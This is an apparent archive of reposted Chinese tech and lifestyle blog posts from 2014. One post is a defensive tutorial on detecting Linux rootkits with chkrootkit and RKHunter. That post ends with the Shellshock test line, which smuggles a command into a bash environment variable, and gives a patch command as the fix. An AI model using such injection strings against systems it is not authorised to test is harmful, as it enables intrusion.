[![s_06564a096c3a471698f2424fc11b00be](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6b11ec061d_1123b6bcea8e5d5c8d55553baa3ea4fb.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6b11ec061d_1123b6bcea8e5d5c8d55553baa3ea4fb.jpg "走了40000千米 他带回了这些惊人的照片") [![s_534d517f435d4e2facef2799f11792a6](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9f296d2b35_b39781637e3b1c336ca066ad2cd2edac.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9f296d2b35_b39781637e3b1c336ca066ad2cd2edac.jpg "走了40000千米 他带回了这些惊人的照片") [![s_89f051e7267f42538e14755bbede840b](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9749e2d24a_54fafb5bb22d8b3eecf3d012fa4f22e9.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9749e2d24a_54fafb5bb22d8b3eecf3d012fa4f22e9.jpg "走了40000千米 他带回了这些惊人的照片") [![s_228f592ede04446ab80359de57c58a9c](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d4468864b8_49230cfcc1ca9dadff3a6ee1cd62e9df.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d4468864b8_49230cfcc1ca9dadff3a6ee1cd62e9df.jpg "走了40000千米 他带回了这些惊人的照片") [![s_7bfd6da877fb405c8ebe094c20e17667](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3ccbe29fcb_20f84dcaa0424691d14f856a98a63724.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3ccbe29fcb_20f84dcaa0424691d14f856a98a63724.jpg "走了40000千米 他带回了这些惊人的照片") [![s_d91193348b6b4429b330a7c3f03eff4c](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1af028e265_69ae7888676edfe6351997b2279fbc6f.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1af028e265_69ae7888676edfe6351997b2279fbc6f.jpg "走了40000千米 他带回了这些惊人的照片") [![s_552fc1743c6448e29bad4e7945d5d86e](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/20e10e17df_50eaf2bde7d8fc2871dbd2ea56c4f4a2.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/20e10e17df_50eaf2bde7d8fc2871dbd2ea56c4f4a2.jpg "走了40000千米 他带回了这些惊人的照片") [走了40000千米 他带回了这些惊人的照片](http://www.geekfan.net/12455/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 互动式全息影像的秘密?竟然是利用水蒸汽!? Date: 2014-10-15 URL: https://blog.wo.ai/archives/797 Categories: Uncategorized 我们身处的 2014 年虽然还没有出现能飞的车子,但很快会有可互动的全息影像技术。Leia Display System(LDS)利用了光、水蒸气和空气,并使用感应器追踪使用者的动作来达到可互动的全息影像…… [![5435504e2f9a5](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a49c120d32_9d861fdf0cc6150f65d4cf4e825d32fd.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a49c120d32_9d861fdf0cc6150f65d4cf4e825d32fd.jpg "互动式全息影像的秘密?竟然是利用水蒸汽!?") 视频中,使用者可以用戳、推等的动作,更可以像电影《少数派报告》中的人物般利用手势把影像捏或缩放影像。在演示视频中更有车子“冲破”利用 LDS 造成的影像帘,并有附上去的效果,相当逼真。 [![5435507eb9086](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b80ac3a26_c0444e3db9ce543fb763d6992418d1fb.gif)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b80ac3a26_c0444e3db9ce543fb763d6992418d1fb.gif "互动式全息影像的秘密?竟然是利用水蒸汽!?") 目前为止,LDS 的屏幕尺寸为 95cm x 65cm 和 3m x 2.5m,后者亦可以链接到其他更大的屏幕来显示。波兰籍的 LDS 开发者说这技术已经应用在电字标牌和[广告](http://www.ipc.me/tag/%E5%B9%BF%E5%91%8A)中,但亦有不少人用作创作更多“非常规”的用法。希望这技术可以发展至有其他用途而不只是用于广告吧。 ### Leia Display System 演示 ### Leia Display System 介绍 [互动式全息影像的秘密?竟然是利用水蒸汽!?](http://www.geekfan.net/12411/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 艺术家用X光拍摄儿童玩具,改变你对玩具的“看法” Date: 2014-10-13 URL: https://blog.wo.ai/archives/796 Categories: Uncategorized 摄影师 Brendan Fitzpatrick 最近分享了一组自己拍摄的玩具X光照片。这些照片经过后制处理,Brendan Fitzpatrick 为它们搭配了原本的外观颜色,是不是改变了你对于玩具的“看法”呢? [![53eded7f2d9b3](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/14dc1b7387_60799ab727cd148e2a9d87594de4350b.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/14dc1b7387_60799ab727cd148e2a9d87594de4350b.jpg "艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”") [![53eded80f2b50](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a200f0c907_e93d2476706339859ef27f705ceae1eb.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a200f0c907_e93d2476706339859ef27f705ceae1eb.jpg "艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”") [![53eded82c22a5](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/20531b3246_1069ce617e55947278cf1fde3d0879dd.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/20531b3246_1069ce617e55947278cf1fde3d0879dd.jpg "艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”") [![53eded84c5e37](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/90e2f3ab90_bf8a35678f5ec7e399030f043c6f9325.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/90e2f3ab90_bf8a35678f5ec7e399030f043c6f9325.jpg "艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”") [![53eded86b9d72](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5881eaca78_e001281a8db4d7b2cbe00433a7e91344.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5881eaca78_e001281a8db4d7b2cbe00433a7e91344.jpg "艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”") [![53eded88f13d9](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/55deed63ec_0853b703b6e0e9830c11aae8c9bb3e25.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/55deed63ec_0853b703b6e0e9830c11aae8c9bb3e25.jpg "艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”") [![53eded8b20db6](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eaef22c18a_5e25ee36ccb68fed9ab140e3af0ad5db.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eaef22c18a_5e25ee36ccb68fed9ab140e3af0ad5db.jpg "艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”") [![53eded8cee4a0](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8ba68bc05a_b0f3e50d0187dec04f26ac11e2acd954.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8ba68bc05a_b0f3e50d0187dec04f26ac11e2acd954.jpg "艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”") [![53eded8f0f1d4](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3edf24c593_20c9b3fd9327f465e285a77b478f6b15.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3edf24c593_20c9b3fd9327f465e285a77b478f6b15.jpg "艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”") [![53eded90b936f](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a4365195bf_086e9c9a0e7060c032bd17e099d7aef9.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a4365195bf_086e9c9a0e7060c032bd17e099d7aef9.jpg "艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”") [![53eded92b912b](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/96e5853f89_4e08b76e49347be4e0911501754ccdbb.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/96e5853f89_4e08b76e49347be4e0911501754ccdbb.jpg "艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”") [艺术家用X光拍摄儿童玩具,改变你对玩具的“看法”](http://www.geekfan.net/12393/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 足音 Date: 2014-10-13 URL: https://blog.wo.ai/archives/793 Categories: Music, Music & Movie 足音 池田綾子 人はなぜにめぐり合い 人和人为何会邂逅相逢 手と手結ぶのだろう 手和手为何会紧紧相连 花のように 風に揺れて 为何像花一样,在风中摇摆着 寄り添いあうのだろう 相互依偎 消えてゆく星を潜り 越过快要消失的星星 朝日のみえる丘へ 向着日出的山丘看去 東の曇 輝くのを 东边的云上 闪耀的太阳 君と見つめていた 和你一起注视着那光芒 目の前に 朝の光 眼前的晨光 始まりの合図にして 发出一天开始的信号 穏やかに 歩き出した 我们稳稳地迈出步伐 二人の足音 两个人的脚步声 きっと超えてゆくのだろう 慢慢地就超过我了吧? 手には持てないほとの 我抱在手中的行李 荷物抱え 言葉もない 已经快拿不住了 你一句话也没有 静か過ぎる夜も 安静过头的夜晚 動き出す町を潜り 潮水般的人群 押し寄せる人波は 涌出刚苏醒的小镇 涙色の 路地を抜けた 穿过泪色的胡同 逞しい足取り 迈着坚实有力的步伐 両手では抱えきれず 即使两手无法保住 悩んだりつまずいても 即使烦恼 即使摔倒 そのままで ありのままで 也就找这样 实事求是 確かな足音 可靠的脚步声 信じ合う そんな言葉 相互信赖 这样的话语 眩しくて見えないけど 虽然太过耀眼看不清楚 君がいて 私がいる 有你在 有我在 ただそれだけて 这样就足够了 転んでは 立ち上がて 摔倒了 就站起来 それでも進んでゆくの 即使这样还要继续前进 これからも 響かせてく 今后的日子里 也会继续响起 二人の足音 两个人的脚步声 --- ## 触控笔不用花钱买,教你简单几步 DIY 一支电容屏触控笔 Date: 2014-10-08 URL: https://blog.wo.ai/archives/792 Categories: Uncategorized 看别人拿触控笔在手机上戳戳戳觉得很酷?你就只能哀怨的凝视自己手中这部“残缺美”的水果机?NONONO,如果你是真的很想要触控笔、却死不换 Note,又不想花钱买一支的人,小编就是你的救星!好啦不是小编,是拍上传这个视频教学的人,他是你的救星!让你几乎不用花多少钱,就可以做一支好用触控笔…… [![01](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/858ef42a2a_96a3be3cf272e017046d1b2674a52bd32.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/858ef42a2a_96a3be3cf272e017046d1b2674a52bd32.jpg "触控笔不用花钱买,教你简单几步 DIY 一支电容屏触控笔") 首先,你要准备:透明胶带、一支笔、卫生纸、锡箔纸 [![02](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f24785da4c_a2ef406e2c2351e0b9e80029c909242d1.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f24785da4c_a2ef406e2c2351e0b9e80029c909242d1.jpg "触控笔不用花钱买,教你简单几步 DIY 一支电容屏触控笔") 把卫生纸揉成小球 [![03](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f24785da4c_e45ee7ce7e88149af8dd32b27f9512ce1.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f24785da4c_e45ee7ce7e88149af8dd32b27f9512ce1.jpg "触控笔不用花钱买,教你简单几步 DIY 一支电容屏触控笔") 用胶带固定在笔的末端 [![04](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f62e829ec9_7d0665438e81d8eceb98c1e31fca80c11.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f62e829ec9_7d0665438e81d8eceb98c1e31fca80c11.jpg "触控笔不用花钱买,教你简单几步 DIY 一支电容屏触控笔") 然后用锡箔纸包住…记住雾面要朝外 [![05](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d8485054b0_751d31dd6b56b26b29dac2c0e1839e341.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d8485054b0_751d31dd6b56b26b29dac2c0e1839e341.jpg "触控笔不用花钱买,教你简单几步 DIY 一支电容屏触控笔") 好用触控笔就完成!是不是超简单?来看看视频吧。 ### DIY 电容屏触控笔 [触控笔不用花钱买,教你简单几步 DIY 一支电容屏触控笔](http://www.geekfan.net/12279/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Linux后门入侵检测工具,附bash漏洞解决方法 Date: 2014-09-25 URL: https://blog.wo.ai/archives/790 Categories: Uncategorized **一、rootkit简介** rootkit是Linux平台下最常见的一种木马后门工具,它主要通过替换系统文件来达到入侵和和隐蔽的目的,这种木马比普通木马后门更加危险和隐蔽,普通的检测工具和检查手段很难发现这种木马。rootkit攻击能力极强,对系统的危害很大,它通过一套工具来建立后门和隐藏行迹,从而让攻击者保住权限,以使它在任何时候都可以使用root权限登录到系统。 rootkit主要有两种类型:文件级别和内核级别,下面分别进行简单介绍。 1、文件级别rootkit 文件级别的rootkit一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。通常容易被rootkit替换的系统程序有login、ls、ps、ifconfig、du、find、netstat等,其中login程序是最经常被替换的,因为当访问Linux时,无论是通过本地登录还是远程登录,/bin/login程序都会运行,系统将通过/bin/login来收集并核对用户的账号和密码,而rootkit就是利用这个程序的特点,使用一个带有根权限后门密码的/bin/login来替换系统的/bin/login,这样攻击者通过输入设定好的密码就能轻松进入系统。此时,即使系统管理员修改root密码或者清除root密码,攻击者还是一样能通过root用户登录系统。攻击者通常在进入Linux系统后,会进行一系列的攻击动作,最常见的是安装嗅探器收集本机或者网络中其他服务器的重要数据。在默认情况下,Linux中也有一些系统文件会监控这些工具动作,例如ifconfig命令,所以,攻击者为了避免被发现,会想方设法替换其他系统文件,常见的就是ls、ps、ifconfig、du、find、netstat等。如果这些文件都被替换,那么在系统层面就很难发现rootkit已经在系统中运行了。 这就是文件级别的rootkit,对系统维护很大,目前最有效的防御方法是定期对系统重要文件的完整性进行检查,如果发现文件被修改或者被替换,那么很可能系统已经遭受了rootkit入侵。检查件完整性的工具很多,常见的有Tripwire、 aide等,可以通过这些工具定期检查文件系统的完整性,以检测系统是否被rootkit入侵。 2、内核级别的rootkit 内核级rootkit是比文件级rootkit更高级的一种入侵方式,它可以使攻击者获得对系统底层的完全控制权,此时攻击者可以修改系统内核,进而截获运行程序向内核提交的命令,并将其重定向到入侵者所选择的程序并运行此程序,也就是说,当用户要运行程序A时,被入侵者修改过的内核会假装执行A程序,而实际上却执行了程序B。 内核级rootkit主要依附在内核上,它并不对系统文件做任何修改,因此一般的检测工具很难检测到它的存在,这样一旦系统内核被植入rootkit,攻击者就可以对系统为所欲为而不被发现。目前对于内核级的rootkit还没有很好的防御工具,因此,做好系统安全防范就非常重要,将系统维持在最小权限内工作,只要攻击者不能获取root权限,就无法在内核中植入rootkit。 **二、rootkit后门检测工具chkrootkit** chkrootkit是一个Linux系统下查找并检测rootkit后门的工具,它的官方址: http://www.chkrootkit.org/。 chkrootkit没有包含在官方的CentOS源中,因此要采取手动编译的方法来安装,不过这种安装方法也更加安全。下面简单介绍下chkrootkit的安装过程。 1.准备gcc编译环境 对于CentOS系统,需要安装gcc编译环境,执行下述三条命令: [root@server ~]# yum -y install gcc [root@server ~]# yum -y install gcc-c++ [root@server ~]# yum -y install make 2、安装chkrootkit 为了安全起见,建议直接从官方网站下载chkrootkit源码,然后进行安装,操作如下: [root@server ~]# tar zxvf chkrootkit.tar.gz [root@server ~]# cd chkrootkit-* [root@server ~]# make sense # 注意,上面的编译命令为make sense [root@server ~]# cd .. [root@server ~]# cp -r chkrootkit-* /usr/local/chkrootkit [root@server ~]# rm -rf chkrootkit-* 3、使用chkrootkit 安装完的chkrootkit程序位于/usr/local/chkrootkit目录下,执行如下命令即可显示chkrootkit的详细用法: [root@server chkrootkit]# /usr/local/chkrootkit/chkrootkit -h chkrootkit各个参数的含义如下所示。 参数含义 -h显示帮助信息 -v显示版本信息 -l显示测试内容 -ddebug模式,显示检测过程的相关指令程序 -q安静模式,只显示有问题的内容 -x高级模式,显示所有检测结果 -r dir设置指定的目录为根目录 -p dir1:dir2:dirN指定chkrootkit检测时使用系统命令的目录 -n跳过NFS连接的目录 chkrootkit的使用比较简单,直接执行chkrootkit命令即可自动开始检测系统。下面是某个系统的检测结果: [root@server chkrootkit]# /usr/local/chkrootkit/chkrootkit Checking `ifconfig'... INFECTED Checking `ls'... INFECTED Checking `login'... INFECTED Checking `netstat'... INFECTED Checking `ps'... INFECTED Checking `top'... INFECTED Checking `sshd'... not infected Checking `syslogd'... not tested Checking `tar'... not infected Checking `tcpd'... not infected Checking `tcpdump'... not infected Checking `telnetd'... not found 从输出可以看出,此系统的ifconfig、ls、login、netstat、ps和top命令已经被感染。针对被感染rootkit的系统,最安全而有效的方法就是备份数据重新安装系统。 4、chkrootkit的缺点 chkrootkit在检查rootkit的过程中使用了部分系统命令,因此,如果服务器被黑客入侵,那么依赖的系统命令可能也已经被入侵者替换,此时chkrootkit的检测结果将变得完全不可信。为了避免chkrootkit的这个问题,可以在服务器对外开放前,事先将chkrootkit使用的系统命令进行备份,在需要的时候使用备份的原始系统命令让chkrootkit对rootkit进行检测。这个过程可以通过下面的操作实现: [root@server ~]# mkdir /usr/share/.commands [root@server ~]# cp `which --skip-alias awk cut echo find egrep id head ls netstat ps strings sed uname` /usr/share/.commands [root@server ~]# /usr/local/chkrootkit/chkrootkit -p /usr/share/.commands/ [root@server share]# cd /usr/share/ [root@server share]# tar zcvf commands.tar.gz .commands [root@server share]# rm -rf commands.tar.gz 上面这段操作是在/usr/share/下建立了一个.commands隐藏文件,然后将chkrootkit使用的系统命令进行备份到这个目录下。为了安全起见,可以将.commands目录压缩打包,然后下载到一个安全的地方进行备份,以后如果服务器遭受入侵,就可以将这个备份上传到服务器任意路径下,然后通过chkrootkit命令的“-p”参数指定这个路径进行检测即可。 **三、rootkit后门检测工具RKHunter** RKHunter是一款专业的检测系统是否感染rootkit的工具,它通过执行一系列的脚本来确认服务器是否已经感染rootkit。在官方的资料中,RKHunter可以作的事情有: MD5校验测试,检测文件是否有改动 检测rootkit使用的二进制和系统工具文件 检测特洛伊木马程序的特征码 检测常用程序的文件属性是否异常 检测系统相关的测试 检测隐藏文件 检测可疑的核心模块LKM 检测系统已启动的监听端口 下面详细讲述下RKHunter的安装与使用。 1、安装RKHunter RKHunter的官方网页地址为:http://www.rootkit.nl/projects/rootkit_hunter.html,建议从这个网站下载RKHunter,这里下载的版本是rkhunter-1.4.0.tar.gz。RKHunter的安装非常简单,过程如下: [root@server ~]# ls rkhunter-1.4.0.tar.gz [root@server ~]# pwd /root [root@server ~]# tar -zxvf rkhunter-1.4.0.tar.gz [root@server ~]# cd rkhunter-1.4.0 [root@server rkhunter-1.4.0]# ./installer.sh --layout default --install 这里采用RKHunter的默认安装方式,rkhunter命令被安装到了/usr/local/bin目录下。 2、使用rkhunter指令 rkhunter命令的参数较多,但是使用非常简单,直接运行rkhunter即可显示此命令的用法。下面简单介绍下rkhunter常用的几个参数选项。 [root@server ~]#/usr/local/bin/rkhunter–help Rkhunter常用参数以及含义如下所示。 参数 含义 -c, –check必选参数,表示检测当前系统 –configfile 使用特定的配置文件 –cronjob作为cron任务定期运行 –sk, –skip-keypress自动完成所有检测,跳过键盘输入 –summary显示检测结果的统计信息 –update检测更新内容 -V, –version显示版本信息 –versioncheck检测最新版本 下面是通过rkhunter对某个系统的检测示例: [root@server rkhunter-1.4.0]# /usr/local/bin/rkhunter -c [ Rootkit Hunter version 1.4.0 ] #下面是第一部分,先进行系统命令的检查,主要是检测系统的二进制文件,因为这些文件最容易被rootkit攻击。显示OK字样表示正常,显示Warning表示有异常,需要引起注意,而显示“Not found”字样,一般无需理会 Checking system commands... Performing 'strings' command checks Checking 'strings' command [ OK ] Performing 'shared libraries' checks Checking for preloading variables [ None found ] Checking for preloaded libraries [ None found ] Checking LD_LIBRARY_PATH variable [ Not found ] Performing file properties checks Checking for prerequisites [ Warning ] /usr/local/bin/rkhunter [ OK ] /sbin/chkconfig [ OK ] ....(略).... [Press to continue] #下面是第二部分,主要检测常见的rootkit程序,显示“Not found”表示系统未感染此rootkit Checking for rootkits... Performing check of known rootkit files and directories 55808 Trojan - Variant A [ Not found ] ADM Worm [ Not found ] AjaKit Rootkit [ Not found ] Adore Rootkit [ Not found ] aPa Kit [ Not found ] Apache Worm [ Not found ] Ambient (ark) Rootkit [ Not found ] Balaur Rootkit [ Not found ] BeastKit Rootkit [ Not found ] beX2 Rootkit [ Not found ] BOBKit Rootkit [ Not found ] ....(略).... [Press to continue] #下面是第三部分,主要是一些特殊或附加的检测,例如对rootkit文件或目录检测、对恶意软件检测以及对指定的内核模块检测 Performing additional rootkit checks Suckit Rookit additional checks [ OK ] Checking for possible rootkit files and directories [ None found ] Checking for possible rootkit strings [ None found ] Performing malware checks Checking running processes for suspicious files [ None found ] Checking for login backdoors [ None found ] Checking for suspicious directories [ None found ] Checking for sniffer log files [ None found ] Performing Linux specific checks Checking loaded kernel modules [ OK ] Checking kernel module names [ OK ] [Press to continue] #下面是第四部分,主要对网络、系统端口、系统启动文件、系统用户和组配置、SSH配置、文件系统等进行检测 Checking the network... Performing checks on the network ports Checking for backdoor ports [ None found ] Performing checks on the network interfaces Checking for promiscuous interfaces [ None found ] Checking the local host... Performing system boot checks Checking for local host name [ Found ] Checking for system startup files [ Found ] Checking system startup files for malware [ None found ] Performing group and account checks Checking for passwd file [ Found ] Checking for root equivalent (UID 0) accounts [ None found ] Checking for passwordless accounts [ None found ] ....(略).... [Press to continue] #下面是第五部分,主要是对应用程序版本进行检测 Checking application versions... Checking version of GnuPG[ OK ] Checking version of OpenSSL [ Warning ] Checking version of OpenSSH [ OK ] #下面是最后一部分,这个部分其实是上面输出的一个总结,通过这个总结,可以大概了解服务器目录的安全状态。 System checks summary ===================== File properties checks... Required commands check failed Files checked: 137 Suspect files: 4 Rootkit checks... Rootkits checked : 311 Possible rootkits: 0 Applications checks... Applications checked: 3 Suspect applications: 1 The system checks took: 6 minutes and 41 seconds 在Linux终端使用rkhunter来检测,最大的好处在于每项的检测结果都有不同的颜色显示,如果是绿色的表示没有问题,如果是红色的,那就要引起关注了。另外,在上面执行检测的过程中,在每个部分检测完成后,需要以Enter键来继续。如果要让程序自动运行,可以执行如下命令: [root@server ~]# /usr/local/bin/rkhunter –check –skip-keypress 同时,如果想让检测程序每天定时运行,那么可以在/etc/crontab中加入如下内容: 30 09 * * * root /usr/local/bin/rkhunter –check –cronjob 这样,rkhunter检测程序就会在每天的9:30分运行一次。 **安全更新:** 今天刚刚爆出Bash安全漏洞,SSH bash紧急安全补丁!重要! 测试是否存在漏洞,执行以下命令: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test 如果显示如上,那么,很遗憾,必须立即打上安全补丁修复, 临时解决办法为: yum -y update bash 升级bash后,执行测试: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test 如果显示如上,表示已经修补了漏洞。 [Linux后门入侵检测工具,附bash漏洞解决方法](http://blog.jobbole.com/77663/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 别光顾着拍照了,用iPhone检查视力吧 Date: 2014-09-25 URL: https://blog.wo.ai/archives/788 Categories: Uncategorized [![541cde3bed900](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/36e739d097_babff11ed3ac4910073811a1d3f2abe2.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/36e739d097_babff11ed3ac4910073811a1d3f2abe2.jpg "别光顾着拍照了,用iPhone检查视力吧") 似乎每隔一段时间,就会有人开发出手机的新玩法。近日,Smart Vision Labs就将iPhone的相机应用在了视力检查上。简单点说,该团队在iPhone的相机上附加了一个镜头,让医生能方便快捷地进行视力检查,而之前一般需要前往专业的验光室。 前不久,负责人Marc及其成员在海地运用了这一新技术,他们几乎能在1分钟内对病人进行诊断,当时他们在6个小时内完成了对250人的检查。这不仅能提高工作效率,还令比较顽皮的小孩也愿意安静地坐下来接受检查,他们也对这种设备很感兴趣。 [![541cde6880eb7](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8de5b71c93_4de6d44fc11194e318fe64f3ab8fe052.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8de5b71c93_4de6d44fc11194e318fe64f3ab8fe052.jpg "别光顾着拍照了,用iPhone检查视力吧") 其实,这并不是iPhone第一次大显神勇,它早已大举向医疗领域进军,并取得了不错的成果。 2012年,佐治亚理工学院和埃默里大学研发了一款名为“遥控耳镜”(Remoteoscope)的iPhone配件,让iPhone变身耳镜,帮助医生对病人的耳部疾病进行诊断。遥控耳镜安装在iPhone镜头上,医生能够快递查看患者耳道,尤其是儿童耳道也能够清楚查看。 另外,今年5月左右,休斯顿大学工程技术教授George Zouridakis开发了一款DemoScreen的应用,这款应用与价值500美元的皮肤镜相结合使用,可以用来检测皮肤中的黑色素瘤(一种最危险的皮肤癌)。这款iPhone应用检测的准确率在85%左右,与皮肤科专家检测的准确率相当,并且明显高于初级护理医师。 现在,iPhone几乎已经变身成心电图仪器、血糖仪、心率监测器、医学显微镜等,这些功能都能借助iPhone应用或者外设达到。美国FDA(食品药品监督管理局)曾批准iPad/iPhone作为医疗影像诊断放射学的辅助产品,还有医生指出iPhone可进行中风诊断,而且准确度十分高。 另外不能忘的是苹果的HealthKit健康平台,它能将从各处收集到的健康数据作统一管理,如果手机外设与这一平台协作,就能对用户的健康有更全面的了解。 [别光顾着拍照了,用iPhone检查视力吧](http://www.geekfan.net/12217/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## Seatylock:让自行车座垫变身车锁- Date: 2014-09-23 URL: https://blog.wo.ai/archives/787 Categories: Uncategorized [![541a24bae672d](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9d390dd38f_368bc7bec5ea419b2ec5199cd4ab23c9.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9d390dd38f_368bc7bec5ea419b2ec5199cd4ab23c9.jpg "Seatylock:让自行车座垫变身车锁-") 你是否曾为自己心爱的自行车被盗而懊恼?如果你还在担心车锁硬度不够,太笨重,甚至车座被偷,来自布鲁克林的Seatylock能帮助骑行者解决两个最基本的问题:车锁的坚固性和便携性。 [![541a2472945e1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c86d394689_a84e11aba29c990213a21377088eb1e9.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c86d394689_a84e11aba29c990213a21377088eb1e9.jpg "Seatylock:让自行车座垫变身车锁-") Seatylock锁能折叠并安置在特殊设计的座椅中,抽出座椅,锁就会自动滑出。上锁时,打开座椅后下方的固定阀,抽出座椅,再用钥匙打开Seatylock,展开锁链即可。解锁时,用钥匙开锁后,折叠好锁链,将座椅固定在金属杆上,扣上固定阀。操作简单便捷,且安全性很高,整个过程能在30秒内完成。 [![541a24904fe00](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b27af1ace5_80d8bf324305fd18c686ef2c1fe284ae.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b27af1ace5_80d8bf324305fd18c686ef2c1fe284ae.jpg "Seatylock:让自行车座垫变身车锁-") Seatylock锁链展开长度为3英尺(约1米),由钢材材质制成,制造工艺精致细密。生产过程中,座椅要经过抗压弹性测试,而锁链要进行抗破坏测试,断线钳已不再是车锁的噩梦了。Seatylock适用于各种自行车型号,安装和拆卸都很方便。发明者Oren Livne 和生产商Michael Shenkerman表示,Seatylock钢材锁链能够抵抗任何破坏,坚固无比。 [![541a24a8e7e04](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4b65445ab5_966cbd9efad74c52cf8e4d6c210d0e76.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4b65445ab5_966cbd9efad74c52cf8e4d6c210d0e76.jpg "Seatylock:让自行车座垫变身车锁-") Seatylock起售价为75美元,有两种款式:舒适型和耐磨型,这两款座椅宽度不同。此外,Seatylock有多种颜色可选,能够满足客户的个人定制要求。 Seatylock团队计划筹资4万美元,正在Kickstarter上众筹,如果你是骑行爱好者就来支持一下吧! [Seatylock:让自行车座垫变身车锁-](http://www.geekfan.net/12183/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## The Age of Worry Date: 2014-09-23 URL: https://blog.wo.ai/archives/783 Categories: English, Music, Music & Movie “The Age Of Worry” Close your eyes and clone yourself Build your heart an army To defend your innocence While you do everything wrong Don’t be scared to walk alone Don’t be scared to like it There’s no time that you must be home So sleep where darkness falls Alive in the age of worry Smile in the age of worry Go wild in the age of worry And say, “Worry, why should I care?” Know your fight is not with them Yours is with your time here Dream your dreams but don’t pretend Make friends with what you are Give your heart then change your mind You’re allowed to do it ‘Cause God knows it’s been done to you And somehow you got through it Alive in the age of worry Rage in the age of worry Sing out in the age of worry And say, “Worry, why should I care?” Rage in the age of worry Act your age in the age of worry And say, “Worry, get out of here!” --- ## Raspberry Pi 使用NFC模块读取标签 Date: 2014-09-22 URL: https://blog.wo.ai/archives/770 Categories: Raspberry Pi, Technology 使用网上的教程,链接 http://www.geek-workshop.com/thread-10042-1-1.html 